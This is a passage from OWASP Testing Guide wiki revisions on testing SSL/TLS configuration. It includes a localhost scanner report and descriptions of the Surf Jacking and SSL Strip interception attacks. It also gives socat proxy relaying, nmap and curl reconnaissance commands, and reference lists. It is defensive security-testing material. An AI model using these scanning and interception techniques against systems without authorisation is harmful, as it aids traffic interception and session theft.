Loading module: CCS Injection script by TripWire VERT ...<br />
<br />
Checking localhost:443 for OpenSSL ChangeCipherSpec (CCS) Injection bug (CVE-2014-0224) ...<br />
<br />
[!] The target may allow early CCS on TLSv1.2<br />
[!] The target may allow early CCS on TLSv1.1<br />
[!] The target may allow early CCS on TLSv1<br />
[!] The target may allow early CCS on SSLv3<br />
<br />
<br />
[-] This is an experimental detection script and does not definitively determine vulnerable server status.<br />
<br />
[!] Potentially vulnerable to OpenSSL ChangeCipherSpec (CVE-2014-0224) mentioned in http://ccsinjection.lepidum.co.jp/<br />
[!] Vulnerability Status: Possible<br />
<br />
<br />
=====================================<br />
<br />
Checking localhost:443 for HTTP Compression support against BREACH vulnerability (CVE-2013-3587) ...<br />
<br />
[*] HTTP Compression: DISABLED<br />
[*] Immune from BREACH attack mentioned in https://media.blackhat.com/us-13/US-13-Prado-SSL-Gone-in-30-seconds-A-BREACH-beyond-CRIME-WP.pdf<br />
[*] Vulnerability Status: No<br />
<br />
<br />
--------------- RAW HTTP RESPONSE ---------------<br />
<br />
HTTP/1.1 302 Found<br />
Date: Sat, 19 Jul 2014 17:54:32 GMT<br />
Server: Apache/2.4.3 (Win32) OpenSSL/1.0.1c PHP/5.4.7<br />
X-Powered-By: PHP/5.4.7<br />
Location: https://localhost/xampp/<br />
Content-Length: 0<br />
Connection: close<br />
Content-Type: text/html<br />
<br />
<br />
<br />
=====================================<br />
<br />
Checking localhost:443 for correct use of Strict Transport Security (STS) response header (RFC6797) ...<br />
<br />
[!] STS response header: NOT PRESENT<br />
[!] Vulnerable to MITM threats mentioned in https://www.owasp.org/index.php/HTTP_Strict_Transport_Security#Threats<br />
[!] Vulnerability Status: VULNERABLE<br />
<br />
<br />
--------------- RAW HTTP RESPONSE ---------------<br />
<br />
HTTP/1.1 302 Found<br />
Date: Sat, 19 Jul 2014 17:54:32 GMT<br />
Server: Apache/2.4.3 (Win32) OpenSSL/1.0.1c PHP/5.4.7<br />
X-Powered-By: PHP/5.4.7<br />
Location: https://localhost/xampp/<br />
Content-Length: 0<br />
Connection: close<br />
Content-Type: text/html<br />
<br />
<br />
<br />
=====================================<br />
<br />
Checking localhost for HTTP support against HTTPS Stripping attack ...<br />
<br />
[!] HTTP Support on port [80] : SUPPORTED<br />
[!] Vulnerable to HTTPS Stripping attack mentioned in https://www.blackhat.com/presentations/bh-dc-09/Marlinspike/BlackHat-DC-09-Marlinspike-Defeating-SSL.pdf<br />
[!] Vulnerability Status: VULNERABLE<br />
<br />
<br />
=====================================<br />
<br />
Checking localhost:443 for HTTP elements embedded in SSL page ...<br />
<br />
[*] HTTP elements embedded in SSL page: NOT PRESENT<br />
[*] Immune from MITM malicious content injection attack<br />
[*] Vulnerability Status: No<br />
<br />
<br />
=====================================<br />
<br />
Checking localhost:443 for ROBUST use of anti-caching mechanism ...<br />
<br />
[!] Cache Control Directives: NOT PRESENT<br />
[!] Browsers, Proxies and other Intermediaries will cache SSL page and sensitive information will be leaked.<br />
[!] Vulnerability Status: VULNERABLE<br />
<br />
<br />
-------------------------------------------------<br />
<br />
<br />
Robust Solution (Is it Troublesome for you to add more things for your site security?):<br />
<br />
- Cache-Control: no-cache, no-store, must-revalidate, pre-check=0, post-check=0, max-age=0, s-maxage=0<br />
- Ref: https://www.owasp.org/index.php/Testing_for_Browser_cache_weakness_(OWASP-AT-007)<br />
http://msdn.microsoft.com/en-us/library/ms533020(v=vs.85).aspx<br />
<br />
=====================================<br />
<br />
Checking localhost:443 for ECDHE/DHE ciphers against FORWARD SECRECY support ...<br />
<br />
[*] Forward Secrecy: SUPPORTED<br />
[*] Connected using cipher - TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA on protocol - TLSv1<br />
[*] Attackers will NOT be able to decrypt sniffed SSL packets even if they have compromised private keys.<br />
[*] Vulnerability Status: No<br />
<br />
=====================================<br />
<br />
Checking localhost:443 for RC4 support (CVE-2013-2566) ...<br />
<br />
[!] RC4: SUPPORTED<br />
[!] Vulnerable to MITM attack described in http://www.isg.rhul.ac.uk/tls/<br />
[!] Vulnerability Status: VULNERABLE<br />
<br />
<br />
<br />
=====================================<br />
<br />
Checking localhost:443 for TLS 1.1 support ...<br />
<br />
Checking localhost:443 for TLS 1.2 support ...<br />
<br />
[*] TLS 1.1, TLS 1.2: SUPPORTED<br />
[*] Immune from BEAST attack mentioned in http://www.infoworld.com/t/security/red-alert-https-has-been-hacked-174025<br />
[*] Vulnerability Status: No<br />
<br />
<br />
<br />
=====================================<br />
<br />
Loading module: sslyze by iSecPartners ...<br />
<br />
Checking localhost:443 for Session Renegotiation support (CVE-2009-3555,CVE-2011-1473,CVE-2011-5094) ...<br />
<br />
[*] Secure Client-Initiated Renegotiation : NOT SUPPORTED<br />
[*] Mitigated from DOS attack (CVE-2011-1473,CVE-2011-5094) mentioned in https://www.thc.org/thc-ssl-dos/<br />
[*] Vulnerability Status: No<br />
<br />
<br />
[*] INSECURE Client-Initiated Renegotiation : NOT SUPPORTED<br />
[*] Immune from TLS Plain-text Injection attack (CVE-2009-3555) - http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3555 <br />
[*] Vulnerability Status: No<br />
<br />
<br />
=====================================<br />
<br />
Loading module: TestSSLServer by Thomas Pornin ...<br />
<br />
Checking localhost:443 for SSL version 2 support ...<br />
<br />
[*] SSL version 2 : NOT SUPPORTED<br />
[*] Immune from SSLv2-based MITM attack <br />
[*] Vulnerability Status: No<br />
<br />
<br />
=====================================<br />
<br />
Checking localhost:443 for LANE (LOW,ANON,NULL,EXPORT) weak ciphers support ...<br />
<br />
Supported LANE cipher suites:<br />
SSLv3<br />
RSA_EXPORT_WITH_RC4_40_MD5<br />
RSA_EXPORT_WITH_RC2_CBC_40_MD5<br />
RSA_EXPORT_WITH_DES40_CBC_SHA<br />
RSA_WITH_DES_CBC_SHA<br />
DHE_RSA_EXPORT_WITH_DES40_CBC_SHA<br />
DHE_RSA_WITH_DES_CBC_SHA<br />
TLS_ECDH_anon_WITH_RC4_128_SHA<br />
TLS_ECDH_anon_WITH_3DES_EDE_CBC_SHA<br />
TLS_ECDH_anon_WITH_AES_256_CBC_SHA<br />
(TLSv1.0: same as above)<br />
(TLSv1.1: same as above)<br />
(TLSv1.2: same as above)<br />
<br />
<br />
[!] LANE ciphers : SUPPORTED<br />
[!] Attackers may be ABLE to recover encrypted packets.<br />
[!] Vulnerability Status: VULNERABLE<br />
<br />
<br />
=====================================<br />
<br />
Checking localhost:443 for GCM/CCM ciphers support against Lucky13 attack (CVE-2013-0169) ...<br />
<br />
Supported GCM cipher suites against Lucky13 attack:<br />
TLSv1.2<br />
TLS_RSA_WITH_AES_128_GCM_SHA256<br />
TLS_RSA_WITH_AES_256_GCM_SHA384<br />
TLS_DHE_RSA_WITH_AES_128_GCM_SHA256<br />
TLS_DHE_RSA_WITH_AES_256_GCM_SHA384<br />
TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256<br />
TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384<br />
<br />
<br />
[*] GCM/CCM ciphers : SUPPORTED<br />
[*] Immune from Lucky13 attack mentioned in http://www.isg.rhul.ac.uk/tls/Lucky13.html<br />
[*] Vulnerability Status: No<br />
<br />
<br />
=====================================<br />
<br />
Checking localhost:443 for TLS Compression support against CRIME (CVE-2012-4929) & TIME attack ...<br />
<br />
[*] TLS Compression : DISABLED<br />
[*] Immune from CRIME & TIME attack mentioned in https://media.blackhat.com/eu-13/briefings/Beery/bh-eu-13-a-perfect-crime-beery-wp.pdf<br />
[*] Vulnerability Status: No<br />
<br />
<br />
=====================================<br />
<br />
[+] Breacher finished scanning in 27 seconds.<br />
[+] Get your latest copy at http://yehg.net/<br />
</pre><br />
<br />
===Testing SSL certificate validity – client and server===<br />
Firstly upgrade the browser because CA certs expire and in every release of the browser these are renewed. Examine the validity of the certificates used by the application. Browsers will issue a warning when encountering expired certificates, certificates issued by untrusted CAs, and certificates which do not match name wise with the site to which they should refer. <br />
<br />
<br />
By clicking on the padlock that appears in the browser window when visiting an HTTPS site, testers can look at information related to the certificate – including the issuer, period of validity, encryption characteristics, etc. If the application requires a client certificate, that tester has probably installed one to access it. Certificate information is available in the browser by inspecting the relevant certificate(s) in the list of the installed certificates. <br />
<br />
<br />
These checks must be applied to all visible SSL-wrapped communication channels used by the application. Though this is the usual https service running on port 443, there may be additional services involved depending on the web application architecture and on deployment issues (an HTTPS administrative port left open, HTTPS services on non-standard ports, etc.). Therefore, apply these checks to all SSL-wrapped ports which have been discovered. For example, the nmap scanner features a scanning mode (enabled by the –sV command line switch) which identifies SSL-wrapped services. The Nessus vulnerability scanner has the capability of performing SSL checks on all SSL/TLS-wrapped services. <br />
<br />
<br />
====Example 1. Testing for certificate validity (manually)====<br />
Rather than providing a fictitious example, this guide includes an anonymized real-life example to stress how frequently one stumbles on https sites whose certificates are inaccurate with respect to naming. The following screenshots refer to a regional site of a high-profile IT company. <br />
<br />
We are visiting a .it site and the certificate was issued to a .com site. Internet Explorer warns that the name on the certificate does not match the name of the site. <br />
<br />
[[Image:SSL Certificate Validity Testing IE Warning.gif]]<br />
<br />
''Warning issued by Microsoft Internet Explorer''<br />
<br />
The message issued by Firefox is different. Firefox complains because it cannot ascertain the identity of the .com site the certificate refers to because it does not know the CA which signed the certificate. In fact, Internet Explorer and Firefox do not come pre-loaded with the same list of CAs. Therefore, the behavior experienced with various browsers may differ.<br />
<br />
[[Image:SSL Certificate Validity Testing Firefox Warning.gif]]<br />
<br />
''Warning issued by Mozilla Firefox''<br />
<br />
===Testing for other vulnerabilities===<br />
As mentioned previously, there are other types of vulnerabilities that are not related with the SSL/TLS protocol used, the cipher suites or Certificates. Apart from other vulnerabilities discussed in other parts of this guide, a vulnerability exists when the server provides the website both with the HTTP and HTTPS protocols, and permits an attacker to force a victim into using a non-secure channel instead of a secure one.<br />
<br />
<br />
====Surf Jacking====<br />
The Surf Jacking attack [7] was first presented by Sandro Gauci and permits to an attacker to hijack an HTTP session even when the victim’s connection is encrypted using SSL or TLS.<br />
<br />
<br />
The following is a scenario of how the attack can take place:<br />
* Victim logs into the secure website at https://somesecuresite/.<br />
* The secure site issues a session cookie as the client logs in.<br />
* While logged in, the victim opens a new browser window and goes to http:// examplesite/<br />
* An attacker sitting on the same network is able to see the clear text traffic to http://examplesite.<br />
* The attacker sends back a "301 Moved Permanently" in response to the clear text traffic to http://examplesite. The response contains the header “Location: http://somesecuresite /”, which makes it appear that examplesite is sending the web browser to somesecuresite. Notice that the URL scheme is HTTP not HTTPS.<br />
* The victim's browser starts a new clear text connection to http://somesecuresite/ and sends an HTTP request containing the cookie in the HTTP header in clear text<br />
* The attacker sees this traffic and logs the cookie for later use.<br />
<br />
<br />
To test if a website is vulnerable carry out the following tests:<br />
# Check if website supports both HTTP and HTTPS protocols<br />
# Check if cookies do not have the “Secure” flag<br />
<br />
<br />
====SSL Strip====<br />
Some applications supports both HTTP and HTTPS, either for usability or so users can type both addresses and get to the site. Often users go into an HTTPS website from link or a redirect. Typically personal banking sites have a similar configuration with an iframed log in or a form with action attribute over HTTPS but the page under HTTP.<br />
<br />
<br />
An attacker in a privileged position - as described in SSL strip [8] - can intercept traffic when the user is in the http site and manipulate it to get a Man-In-The-Middle attack under HTTPS. An application is vulnerable if it supports both HTTP and HTTPS.<br />
<br />
<br />
===Testing via HTTP proxy===<br />
<br />
Inside corporate environments testers can see services that are not directly accessible and they can access them only via HTTP proxy using the CONNECT method [36]. Most of the tools will not work in this scenario because they try to connect to the desired tcp port to start the SSL/TLS handshake. With the help of relaying software such as socat [37] testers can enable those tools for use with services behind an HTTP proxy.<br />
<br />
<br />
====Example 8. Testing via HTTP proxy==== <br />
<br />
To connect to destined.application.lan:443 via proxy 10.13.37.100:3128 run socat as follows:<br />
<pre><br />
$ socat TCP-LISTEN:9999,reuseaddr,fork PROXY:10.13.37.100:destined.application.lan:443,proxyport=3128<br />
</pre><br />
<br />
<br />
Then the tester can target all other tools to localhost:9999:<br />
<pre><br />
$ openssl s_client -connect localhost:9999<br />
</pre><br />
<br />
<br />
All connections to localhost:9999 will be effectively relayed by socat via proxy to destined.application.lan:443.<br />
<br />
<br />
== Gray Box testing and example ==<br />
<br />
===Testing for Weak SSL/TLS Cipher Suites===<br />
Check the configuration of the web servers that provide https services. If the web application provides other SSL/TLS wrapped services, these should be checked as well. <br />
<br />
<br />
====Example 9. Windows Server==== <br />
Check the configuration on a Microsoft Windows Server (2000, 2003 and 2008) using the registry key:<br />
<pre>HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\</pre><br />
that has some sub-keys including Ciphers, Protocols and KeyExchangeAlgorithms.<br />
<br />
<br />
====Example 10: Apache====<br />
To check the cipher suites and protocols supported by the Apache2 web server, open the ssl.conf file and search for the SSLCipherSuite, SSLProtocol, SSLHonorCipherOrder,SSLInsecureRenegotiation and SSLCompression directives.<br />
<br />
<br />
===Testing SSL certificate validity – client and server===<br />
Examine the validity of the certificates used by the application at both server and client levels. The usage of certificates is primarily at the web server level, however, there may be additional communication paths protected by SSL (for example, towards the DBMS). Testers should check the application architecture to identify all SSL protected channels.<br />
<br />
<br />
==References==<br />
'''OWASP Resources'''<br />
* [5] [OWASP Testing Guide - Testing for cookie attributes (OTG-SESS-002)|https://www.owasp.org/index.php/Testing_for_cookies_attributes_(OWASP-SM-002)]<br />
* [4][OWASP Testing Guide - Test Network/Infrastructure Configuration (OTG-CONFIG-001)|https://www.owasp.org/index.php/Testing_for_infrastructure_configuration_management_(OWASP-CM-003)]<br />
* [6] [OWASP Testing |https://www.owasp.org/index.php/Testing_for_cookies_attributes_(OWASP-SM-002)][Guide - Testing for Missing HSTS header (OTG-CONFIG-009)|https://www.owasp.org/index.php/Testing_for_Missing_HSTS_header]<br />
* [2] [OWASP Testing Guide - Testing for Sensitive information sent via unencrypted channels (OTG-CRYPST-007)|https://www.owasp.org/index.php?title=Testing_for_Sensitive_information_sent_via_unencrypted_channels_(OTG-CRYPST-007)&action=edit&redlink=1]<br />
* [3] [OWASP Testing Guide - Testing for Credentials Transported over an Encrypted Channel (OWASP-AT-001)|https://www.owasp.org/index.php/Testing_for_Credentials_Transported_over_an_Encrypted_Channel_(OWASP-AT-001)]<br />
* [9] [OWASP Testing Guide - Test Content Security Policy (OTG-CONFIG-008)|https://www.owasp.org/index.php/Testing_for_Content_Security_Policy_weakness]<br />
* [22] [OWASP Cheat sheet - Transport Layer Protection|https://www.owasp.org/index.php/Transport_Layer_Protection_Cheat_Sheet]<br />
* [23] [OWASP TOP 10 2013 - A6 Sensitive Data Exposure|https://www.owasp.org/index.php/Top_10_2013-A6-Sensitive_Data_Exposure]<br />
* [24] [OWASP TOP 10 2010 - A9 Insufficient Transport Layer Protection|https://www.owasp.org/index.php/Top_10_2010-A9-Insufficient_Transport_Layer_Protection]<br />
* [25] [OWASP ASVS 2009 - Verification 10|https://code.google.com/p/owasp-asvs/wiki/Verification_V10]<br />
* [26] [OWASP Application Security FAQ - Cryptography/SSL|https://www.owasp.org/index.php/OWASP_Application_Security_FAQ#Cryptography.2FSSL]<br />
<br />
<br />
'''Whitepapers'''<br />
* [1] [RFC5246 - The Transport Layer Security (TLS) Protocol Version 1.2 (Updated by RFC 5746, RFC 5878, RFC 6176)|http://www.ietf.org/rfc/rfc5246.txt]<br />
* [36] [RFC2817 - Upgrading to TLS Within HTTP/1.1|]<br />
* [34] [RFC6066 - Transport Layer Security (TLS) Extensions: Extension Definitions|http://www.ietf.org/rfc/rfc6066.txt]<br />
* [11] [SSLv2 Protocol Multiple Weaknesses |http://osvdb.org/56387]<br />
* [12] [Mitre - TLS Renegotiation MiTM|http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3555]<br />
* [13] [Qualys SSL Labs - TLS Renegotiation DoS|https://community.qualys.com/blogs/securitylabs/2011/10/31/tls-renegotiation-and-denial-of-service-attacks]<br />
* [10] [Qualys SSL Labs - SSL/TLS Deployment Best Practices|https://www.ssllabs.com/projects/best-practices/index.html]<br />
* [14] [Qualys SSL Labs - SSL Server Rating Guide|https://www.ssllabs.com/projects/rating-guide/index.html]<br />
* [20] [Qualys SSL Labs - SSL Threat Model|https://www.ssllabs.com/projects/ssl-threat-model/index.html]<br />
* [18] [Qualys SSL Labs - Forward Secrecy|https://community.qualys.com/blogs/securitylabs/2013/06/25/ssl-labs-deploying-forward-secrecy]<br />
* [15] [Qualys SSL Labs - RC4 Usage|https://community.qualys.com/blogs/securitylabs/2013/03/19/rc4-in-tls-is-broken-now-what]<br />
* [16] [Qualys SSL Labs - BEAST|https://community.qualys.com/blogs/securitylabs/2011/10/17/mitigating-the-beast-attack-on-tls]<br />
* [17] [Qualys SSL Labs - CRIME|https://community.qualys.com/blogs/securitylabs/2012/09/14/crime-information-leakage-attack-against-ssltls]<br />
* [7] [SurfJacking attack|https://resources.enablesecurity.com/resources/Surf%20Jacking.pdf]<br />
* [8] [SSLStrip attack|http://www.thoughtcrime.org/software/sslstrip/]<br />
* [19] [PCI-DSS v2.0|https://www.pcisecuritystandards.org/security_standards/documents.php]<br />
* [35] [Xiaoyun Wang, Hongbo Yu: How to Break MD5 and Other Hash Functions| http://link.springer.com/chapter/10.1007/11426639_2]<br />
<br />
<br />
'''Tools'''<br />
* [21][Qualys SSL Labs - SSL Server Test|https://www.ssllabs.com/ssltest/index.html]: internet facing scanner<br />
* [27] [Tenable - Nessus Vulnerability Scanner|http://www.tenable.com/products/nessus]: includes some plugins to test different SSL related vulnerabilities, Certificates and the presence of HTTP Basic authentication without SSL.<br />
* [32] [TestSSLServer|http://www.bolet.org/TestSSLServer/]: a java scanner - and also windows executable - includes tests for cipher suites, CRIME and BEAST<br />
* [33] [sslyze|https://github.com/iSECPartners/sslyze]: is a python script to check vulnerabilities in SSL/TLS.<br />
* [28] [SSLAudit|https://code.google.com/p/sslaudit/]: a perl script/windows executable scanner which follows Qualys SSL Labs Rating Guide.<br />
* [29] [SSLScan|http://sourceforge.net/projects/sslscan/] with [SSL Tests|http://www.pentesterscripting.com/discovery/ssl_tests]: a SSL Scanner and a wrapper in order to enumerate SSL vulnerabilities.<br />
* [31] [nmap|http://nmap.org/]: can be used primary to identify SSL-based services and then to check Certificate and SSL/TLS vulnerabilities. In particular it has some scripts to check [Certificate and SSLv2|http://nmap.org/nsedoc/scripts/ssl-cert.html] and supported [SSL/TLS protocols/ciphers|http://nmap.org/nsedoc/scripts/ssl-enum-ciphers.html] with an internal rating.<br />
* [30] [curl|http://curl.haxx.se/] and [openssl|http://www.openssl.org/]: can be used to query manually SSL/TLS services<br />
* [9] [Stunnel|http://www.stunnel.org]: a noteworthy class of SSL clients is that of SSL proxies such as stunnel available at which can be used to allow non-SSL enabled tools to talk to SSL services)<br />
* [37] [socat| http://www.dest-unreach.org/socat/]: Multipurpose relay<br />
* [38] [testssl.sh| https://testssl.sh/ ]<br />
<br />
<br />
[[Category:Cryptographic Vulnerability]]<br />
[[Category:SSL]]</div>D0ubl3 h3lixhttps://wiki.owasp.org/index.php?title=Testing_for_Weak_SSL/TLS_Ciphers,_Insufficient_Transport_Layer_Protection_(OTG-CRYPST-001)&diff=179058Testing for Weak SSL/TLS Ciphers, Insufficient Transport Layer Protection (OTG-CRYPST-001)2014-07-21T13:13:47Z<p>D0ubl3 h3lix: /* Example 7. Testing SSL/TLS with testssl.sh */</p>
<hr />
<div>{{Template:OWASP Testing Guide v4}}<br />
<br />
<br />
== Brief Summary ==<br />
<br />
Sensitive data must be protected when it is transmitted through the network. Such data can include user credentials and credit cards. As a rule of thumb, if data must be protected when it is stored, it must be protected also during transmission. <br />
<br />
<br />
HTTP is a clear-text protocol and it is normally secured via an SSL/TLS tunnel, resulting in HTTPS traffic [1]. The use of this protocol ensures not only confidentiality, but also authentication. Servers are authenticated using digital certificates and it is also possible to use client certificate for mutual authentication. <br />
<br />
<br />
Even if high grade ciphers are today supported and normally used, some misconfiguration in the server can be used to force the use of a weak cipher - or at worst no encryption - permitting to an attacker to gain access to the supposed secure communication channel. Other misconfiguration can be used for a Denial of Service attack.<br />
<br />
<br />
== Description of the Issue == <br />
A vulnerability occurs if the HTTP protocol is used to transmit sensitive information [2] (e.g. credentials transmitted over HTTP [3]).<br />
<br />
When the SSL/TLS service is present it is good but it increments the attack surface and the following vulnerabilities exist:<br />
* SSL/TLS protocols, ciphers, keys and renegotiation must be properly configured.<br />
* Certificate validity must be ensured.<br />
<br />
Other vulnerabilities linked to this are:<br />
* Software exposed must be updated due to possibility of known vulnerabilities [4].<br />
* Usage of Secure flag for Session Cookies [5].<br />
* Usage of HTTP Strict Transport Security (HSTS) [6].<br />
* The presence of HTTP and HTTPS both, which can be used to intercept traffic [7], [8].<br />
* The presence of mixed HTTPS and HTTP content in the same page, which can be used to Leak information.<br />
<br />
<br />
===Sensitive data transmitted in clear-text===<br />
The application should not transmit sensitive information via unencrypted channels. Typically it is possible to find basic authentication over HTTP, input password or session cookie sent via HTTP and, in general, other information considered by regulations, laws or organization policy.<br />
<br />
<br />
===Weak SSL/TLS Ciphers/Protocols/Keys===<br />
Historically, there have been limitations set in place by the U.S. government to allow cryptosystems to be exported only for key sizes of at most 40 bits, a key length which could be broken and would allow the decryption of communications. Since then cryptographic export regulations have been relaxed the maximum key size is 128 bits.<br />
<br />
<br />
It is important to check the SSL configuration being used to avoid putting in place cryptographic support which could be easily defeated. To reach this goal SSL-based services should not offer the possibility to choose weak cipher suite. A cipher suite is specified by an encryption protocol (e.g. DES, RC4, AES), the encryption key length (e.g. 40, 56, or 128 bits), and a hash algorithm (e.g. SHA, MD5) used for integrity checking.<br />
<br />
<br />
Briefly, the key points for the cipher suite determination are the following: <br />
# The client sends to the server a ClientHello message specifying, among other information, the protocol and the cipher suites that it is able to handle. Note that a client is usually a web browser (most popular SSL client nowadays), but not necessarily, since it can be any SSL-enabled application; the same holds for the server, which needs not to be a web server, though this is the most common case [9].<br />
#The server responds with a ServerHello message, containing the chosen protocol and cipher suite that will be used for that session (in general the server selects the strongest protocol and cipher suite supported by both the client and server). <br />
<br />
<br />
It is possible (for example, by means of configuration directives) to specify which cipher suites the server will honor. In this way you may control whether or not conversations with clients will support 40-bit encryption only.<br />
<br />
#The server sends its Certificate message and, if client authentication is required, also sends a CertificateRequest message to the client.<br />
#The server sends a ServerHelloDone message and waits for a client response.<br />
#Upon receipt of the ServerHelloDone message, the client verifies the validity of the server's digital certificate.<br />
<br />
<br />
===SSL certificate validity – client and server===<br />
<br />
When accessing a web application via the HTTPS protocol, a secure channel is established between the client and the server. The identity of one (the server) or both parties (client and server) is then established by means of digital certificates. So, once the cipher suite is determined, the “SSL Handshake” continues with the exchange of the certificates:<br />
# The server sends its Certificate message and, if client authentication is required, also sends a CertificateRequest message to the client.<br />
# The server sends a ServerHelloDone message and waits for a client response.<br />
# Upon receipt of the ServerHelloDone message, the client verifies the validity of the server's digital certificate.<br />
<br />
<br />
In order for the communication to be set up, a number of checks on the certificates must be passed. While discussing SSL and certificate based authentication is beyond the scope of this guide, this section will focus on the main criteria involved in ascertaining certificate validity: <br />
<br />
* Checking if the Certificate Authority (CA) is a known one (meaning one considered trusted);<br />
* Checking that the certificate is currently valid;<br />
* Checking that the name of the site and the name reported in the certificate match.<br />
<br />
<br />
Let's examine each check more in detail. <br />
<br />
* Each browser comes with a pre-loaded list of trusted CAs, against which the certificate signing CA is compared (this list can be customized and expanded at will). During the initial negotiations with an HTTPS server, if the server certificate relates to a CA unknown to the browser, a warning is usually raised. This happens most often because a web application relies on a certificate signed by a self-established CA. Whether this is to be considered a concern depends on several factors. For example, this may be fine for an Intranet environment (think of corporate web email being provided via HTTPS; here, obviously all users recognize the internal CA as a trusted CA). When a service is provided to the general public via the Internet, however (i.e. when it is important to positively verify the identity of the server we are talking to), it is usually imperative to rely on a trusted CA, one which is recognized by all the user base (and here we stop with our considerations; we won’t delve deeper in the implications of the trust model being used by digital certificates). <br />
<br />
<br />
* Certificates have an associated period of validity, therefore they may expire. Again, we are warned by the browser about this. A public service needs a temporally valid certificate; otherwise, it means we are talking with a server whose certificate was issued by someone we trust, but has expired without being renewed. <br />
<br />
<br />
* What if the name on the certificate and the name of the server do not match? If this happens, it might sound suspicious. For a number of reasons, this is not so rare to see. A system may host a number of name-based virtual hosts, which share the same IP address and are identified by means of the HTTP 1.1 Host: header information. In this case, since the SSL handshake checks the server certificate before the HTTP request is processed, it is not possible to assign different certificates to each virtual server. Therefore, if the name of the site and the name reported in the certificate do not match, we have a condition which is typically signaled by the browser. To avoid this, IP-based virtual servers must be used. [33] and [34] describe techniques to deal with this problem and allow name-based virtual hosts to be correctly referenced. <br />
<br />
<br />
===Other vulnerabilities===<br />
The presence of a new service, listening in a separate tcp port may introduce vulnerabilities such as infrastructure vulnerabilities if the software is not up to date [4]. Furthermore, for the correct protection of data during transmission the Session Cookie must use the Secure flag [5] and some directives should be sent to the browser to accept only secure traffic (e.g. HSTS [6], CSP [9]). <br />
<br />
<br />
Also there are some attacks that can be used to intercept traffic if the web server exposes the application on both HTTP and HTTPS [6], [7] or in case of mixed HTTP and HTTPS resources in the same page.<br />
<br />
<br />
== Black Box Testing ==<br />
<br />
===Testing for sensitive data transmitted in clear-text===<br />
Various types of information which must be protected can be also transmitted in clear text. It is possible to check if this information is transmitted over HTTP instead of HTTPS. Please refer to specific tests for full details, for credentials [3] and other kind of data [2]. <br />
<br />
<br />
=====Example 1. Basic Authentication over HTTP=====<br />
A typical example is the usage of Basic Authentication over HTTP because with Basic Authentication, after log in, credentials are encoded - and not encrypted - into HTTP Headers.<br />
<br />
<pre><br />
$ curl -kis http://example.com/restricted/<br />
HTTP/1.1 401 Authorization Required<br />
Date: Fri, 01 Aug 2013 00:00:00 GMT<br />
WWW-Authenticate: Basic realm="Restricted Area"<br />
Accept-Ranges: bytes<br />
Vary: Accept-Encoding<br />
Content-Length: 162<br />
Content-Type: text/html<br />
<br />
<html><head><title>401 Authorization Required</title></head><br />
<body bgcolor=white><br />
<h1>401 Authorization Required</h1><br />
<br />
Invalid login credentials!<br />
<br />
</body></html><br />
</pre><br />
<br />
<br />
===Testing for Weak SSL/TLS Ciphers/Protocols/Keys vulnerabilities===<br />
The large number of available cipher suites and quick progress in cryptanalysis makes testing an SSL server a non-trivial task. <br />
<br />
At the time of writing these criteria are widely recognized as minimum checklist:<br />
* Weak ciphers must not be used (e.g. less than 128 bits [10]; no NULL ciphers suite, due to no encryption used; no Anonymous Diffie-Hellmann, due to not provides authentication).<br />
* Weak protocols must be disabled (e.g. SSLv2 must be disabled, due to known weaknesses in protocol design [11]).<br />
* Renegotiation must be properly configured (e.g. Insecure Renegotiation must be disabled, due to MiTM attacks [12] and Client-initiated Renegotiation must be disabled, due to Denial of Service vulnerability [13]).<br />
* No Export (EXP) level cipher suites, due to can be easly broken [10].<br />
* X.509 certificates key length must be strong (e.g. if RSA or DSA is used the key must be at least 1024 bits).<br />
* X.509 certificates must be signed only with secure hashing algoritms (e.g. not signed using MD5 hash, due to known collision attacks on this hash).<br />
* Keys must be generated with proper entropy (e.g, Weak Key Generated with Debian) [14].<br />
<br />
A more complete checklist includes:<br />
* Secure Renegotiation should be enabled.<br />
* MD5 should not be used, due to known collision attacks. [35]<br />
* RC4 should not be used, due to crypto-analytical attacks [15].<br />
* Server should be protected from BEAST Attack [16].<br />
* Server should be protected from CRIME attack, TLS compression must be disabled [17].<br />
* Server should support Forward Secrecy [18].<br />
<br />
<br />
The following standards can be used as reference while assessing SSL servers:<br />
* PCI-DSS v2.0 in point 4.1 requires compliant parties to use "strong cryptography" without precisely defining key lengths and algorithms. Common interpretation, partially based on previous versions of the standard, is that at least 128 bit key cipher, no export strength algorithms and no SSLv2 should be used [19].<br />
* Qualys SSL Labs Server Rating Guide [14], Depoloyment best practice [10] and SSL Threat Model [20] has been proposed to standardize SSL server assessment and configuration. But is less updated than the SSL Server tool [21].<br />
* OWASP has a lot of resources about SSL/TLS Security [22], [23], [24], [25]. [26].<br />
<br />
<br />
Some tools and scanners both free (e.g. SSLAudit [28] or SSLScan [29]) and commercial (e.g. Tenable Nessus [27]), can be used to assess SSL/TLS vulnerabilities. But due to evolution of these vulnerabilities a good way to test is to check them manually with openssl [30] or use the tool’s output as an input for manual evaluation using the references.<br />
<br />
<br />
Sometimes the SSL/TLS enabled service is not directly accessible and the tester can access it only via a HTTP proxy using CONNECT method [36]. Most of the tools will try to connect to desired tcp port to start SSL/TLS handshake. This will not work since desired port is accessible only via HTTP proxy. The tester can easily circumvent this by using relaying software such as socat [37].<br />
<br />
<br />
====Example 2. SSL service recognition via nmap====<br />
<br />
The first step is to identify ports which have SSL/TLS wrapped services. Typically tcp ports with SSL for web and mail services are - but not limited to - 443 (https), 465 (ssmtp), 585 (imap4-ssl), 993 (imaps), 995 (ssl-pop).<br />
<br />
In this example we search for SSL services using nmap with “-sV” option, used to identify services and it is also able to identify SSL services [31]. Other options are for this particular example and must be customized. Often in a Web Application Penetration Test scope is limited to port 80 and 443.<br />
<br />
<pre><br />
$ nmap -sV --reason -PN -n --top-ports 100 www.example.com<br />
Starting Nmap 6.25 ( http://nmap.org ) at 2013-01-01 00:00 CEST<br />
Nmap scan report for www.example.com (127.0.0.1)<br />
Host is up, received user-set (0.20s latency).<br />
Not shown: 89 filtered ports<br />
Reason: 89 no-responses<br />
PORT STATE SERVICE REASON VERSION<br />
21/tcp open ftp syn-ack Pure-FTPd<br />
22/tcp open ssh syn-ack OpenSSH 5.3 (protocol 2.0)<br />
25/tcp open smtp syn-ack Exim smtpd 4.80<br />
26/tcp open smtp syn-ack Exim smtpd 4.80<br />
80/tcp open http syn-ack<br />
